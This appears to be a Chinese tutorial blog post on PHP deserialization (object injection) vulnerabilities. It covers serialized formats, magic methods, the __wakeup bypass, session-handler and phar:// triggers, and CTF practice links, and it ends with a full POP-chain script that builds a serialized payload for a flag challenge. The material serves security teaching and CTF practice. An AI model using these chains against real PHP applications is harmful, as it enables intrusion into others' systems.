php反序列化需要几个对象,PHP反序列化详解
PHP反序列化漏洞(PHP对象注入漏洞)
PHP中有两个函数serialize()[用于序列化]和unserialize()[用于反序列化]
这里一个使用了serialize函数序列化数值的例子
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
该例子的输出为:
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
在该字符串中,字母O代表Object,也就是说如果序列化的是一个数组就会用A(Array)字母代替,数字7代表对象的名称有7个字符,然后引号包含的字符串就是对象名称。数字1代表该对象有一个值,s:4:”test”与之类似代表一个名4个字符的字符串叫test。
然后
这里有一个使用了unserialize函数的例子
class chybeta{
var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';print_r($class2);
echo "";
$class2_unser = unserialize($class2);
print_r($class2_ser);
?>
这段代码会输出什么呢?
输出:chybeta Object ([test]=123)
注意:当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
既然提到的__wakeup()的话,这边需要来了解一下这类函数的应用。
__wakeup()、__sleep()、构造函数__construct()、析构函数__destruct()这类的函数在PHP语言中被称为魔术方法(Magic Function)。
class chybeta{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "";
}
function __construct(){
echo "__construct";
echo "";
}
function __destruct(){
echo "__destruct";
echo "";
}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "";
?>
该段代码会有一个什么样的输出结果呢?
先输出字符串class2然后调用__wakeup()再打印class2_unser然后在调用__destruct()。
在什么样子的情况下这样的函数会被利用到呢?
第一:危害代码存在于函数中
第二:层层调用,危害代码不直接存在于函数,而是在该函数new的对象中
第三:利用普通成员方法,构造利用字符串。
注意点:
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
该漏洞相关 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
几个简单实例:
题目入口:http://120.79.33.253:9001
Session反序列化漏洞
必要知识:session序列化机制
当session_start()函数被调用或者php.ini中session.auto_start值为1时,PHP将内部调用会话管理器,将用户的session序列化后存储到指定目录。
PHP处理器一般有三种序列化的处理方式:
| 处理器 | 对应的存储格式 |
| ————————— |:——————————-|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|
PHP.INI文件中的几个配置项
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
实例: http://web.jarvisoj.com:32784/index.php
解题姿势: session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。
Phar伪协议触发PHP反序列化
什么是phar://协议?
可以将多个文件归入一个本地文件夹,也可以包含一个文件
什么是phar文件?
PHAR(PHP归档)文件是一种打包格式,将PHP代码文件和其他资源文件打包到一个归档文件中实现程序和库的分发。PHAR格式的归档需要自编写代码使用。
phar文件结构
详解参考PHP手册(https://secure.php.net/phar)
1、a stub
识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub
2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据
3、the file contents
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘
Phar内置方法
要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)PHP内置phar类,其他的一些方法如下:
其他方法如下:
$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering() //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容
附录:魔术函数
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
POP链构造
POP:面向属性编程
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
POP链利用:
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
实战训练:
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
如何得到FLAG呢?
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."
";//显示输出url编码后的序列化对象
后记:简书的代码排版简直让我蛋疼,一篇去年写的勉强充数一下这礼拜的文章吧。
php反序列化需要几个对象,PHP反序列化详解相关推荐
- 【C++】C++对象模型:对象内存布局详解(C#实例)
C++对象模型:对象内存布局详解 0.前言 C++对象的内存布局.虚表指针.虚基类指针解的探讨,参考. 1.何为C++对象模型? 引用<深度探索C++对象模型>这本书中的话: 有两个概念可 ...
- php 打印对象详细信息,php打印显示数组与对象的函数详解
php打印显示数组与对象的函数详解 发布于 2014-11-17 18:55:49 | 699 次阅读 | 评论: 0 | 来源: 网友投递 PHP开源脚本语言PHP(外文名: Hypertext P ...
- python 元类 type_Python 使用元类type创建类对象常见应用详解
本文实例讲述了Python 使用元类type创建类对象.分享给大家供大家参考,具体如下: type("123") 可以查看变量的类型;同时 type("类名", ...
- 浏览器对象存储数据详解
浏览器对象存储数据详解 前言 随着需求的发展,浏览器的功能正变的越来越强大,在本地存储数据可以极大的方便人们进行各种操作,如localStroage/sessionStroage等,下面我就记录在项目 ...
- Hibernate对象关系映射详解之一对多关系映射
Hibernate对象关系映射详解之"一对多"关系映射 之前学习Hibernate框架的时候,对这七大关系映射一直是云里雾里的,虽然可以仿照写出代码,但是不能独立编写出来.鉴于工作 ...
- python numpy dtype object_关于Numpy数据类型对象(dtype)使用详解
常用方法 #记住引入numpy时要是用别名np,则所有的numpy字样都要替换 #查询数值类型 >>>type(float) dtype('float64') # 查询字符代码 &g ...
- Beetle.SL对象封装协议详解
Beetle.SL给Silverlight提供了WCF以外的基于对象传送的Socket tcp传输功能,虽然提供了对象来描述协议但如果对其协议的封不了解那似乎和其他平台进行网络通过就比较麻烦了.虽然B ...
- JavaScript字符串对象的方法详解
JavaScript字符串对象的方法详解 前面的博客我们说到了字符串对象的创建,属性及字符串的拼接.现在来详细讲一下字符串的方法. 1.ES6之前的方法 // js字符串的方法var str=&quo ...
- 反序列化 对象 java_Java IO详解(六)------序列化与反序列化(对象流)
1.什么是序列化与反序列化? 序列化:指把堆内存中的 Java 对象数据,通过某种方式把对象存储到磁盘文件中或者传递给其他网络节点(在网络上传输).这个过程称为序列化.通俗来说就是将数据结构或对象转换 ...
最新文章
- 那些臭名昭著的sql
- multinorm r语言_与心理学数据分析相关的R工具包
- LInux下du, df, top, free, pstack, su, sudo, adduser, password命令
- 联想计算机不能进入系统桌面,联想电脑装系统,进不了PE桌面,怎么处理?
- 【hadoop】Yarn【label-based scheduling】实战总结
- mysql 备份表_Mysql 表的备份与恢复
- oracle rac redo log,RAC共享online redo log和archived log的官方说明
- mysql 季度最后一天,MYSQL中取目前年份的第一天和当前周,月,季度的第一天/最后一天...
- Sql Server 列转行 Pivot使用
- Java配置文件Properties的读取、写入与更新操作
- bt协议详解 DHT篇(上)
- linux udp数据包发送间隔,如何每1 ms发送一次UDP数据包?
- Microsoft JScript 运行时错误: Automation 服务器不能创建对象
- video标签autoplay属性不生效
- 已知xyz yzz 532Java_已知 xyz+yzz=532 ,其中 x 、 y 、 z 为数字,编程求出 x 、 y 、 z 的值。_学小易找答案...
- 传说中WM手机工程测试命令
- Verilog语言语句介绍
- 手机远程服务器rd,手机远程连接服务器工具:RD client远程桌面使用教程
- 【CF869E】The Untended Antiquity(哈希+二维树状数组)
- TF卡里删掉文件后内存没变大_双11,TF卡,SD卡,读卡器如何选,看这篇就够了...